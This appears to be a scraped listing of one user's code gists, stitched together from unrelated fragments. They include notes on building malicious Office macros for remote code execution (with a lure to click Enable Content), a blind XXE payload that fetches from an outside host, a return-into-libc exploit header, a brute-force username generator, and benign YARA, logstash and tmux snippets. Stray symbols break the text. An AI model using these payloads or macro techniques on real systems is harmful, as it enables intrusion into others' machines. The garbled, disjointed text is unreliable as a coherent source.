PikaChu cyberheartmi9

This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector. Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.

All of the below examples had been generated for using as a remote address: 192.168.56.101.

List:

Page substiution macro for luring user to click Enable Content
The Unicorn Powershell based payload

Capture the flag: reversing the passwords (Solutions)

Step 1 - Recovering the corrupted data

According to the doc, the following stream is corrupted:

7b 0a 20 a0 22 65 76 e5
6e 74 22 ba 20 22 70 e1
73 73 77 ef 72 64 5f e3

This Gist has been transfered into a Github Repo. You'll find the most recent version here.

YARA Performance Guidelines

When creating your rules for YARA keep in mind the following guidelines in order to get the best performance from them. This guide is based on ideas and recommendations by Victor M. Alvarez and WXS.

Revision 1.4, October 2020, applies to all YARA versions higher than 3.7

This is a sample of how to send some information to logstash via the TCP input in nodejs or python. It assumes the logstash host is on 10.10.10.100 and the TCP listening input is 9563.

The logstash.conf should look something like the sample file.

The log message should be a stringified JSON object with the log message in the @message field.

To use, run the node script node sendMessageToLogstash.js, or the python script python sendMessageToLogstash.js

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname


	.
	..
	........
	@
	*
	.
	..*
	ðŸŽ

	#!/usr/bin/python

	#
	# Example of Frame Faking technique used to construct more advanced
	# return-into-libc payloads in non-exec stack environment, as described in:
	# The advanced return-into-lib(c) exploits
	# by Nergal <[email protected]>
	# (http://phrack.org/issues/58/4.html)
	#
	# To be used:

	import java.io.IOException;
	import java.io.InputStream;
	import java.lang.ref.WeakReference;
	import java.security.cert.CertificateEncodingException;
	import java.util.Enumeration;
	import java.util.jar.JarEntry;
	import java.util.jar.JarFile;
	import java.util.logging.Level;
	import java.util.logging.Logger;

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

	#!/usr/bin/env python3

	'''
	NameMash by superkojiman

	Generate a list of possible usernames from a person's first and last name.

	https://blog.techorganic.com/2011/07/17/creating-a-user-name-list-for-brute-force-attacks/
	'''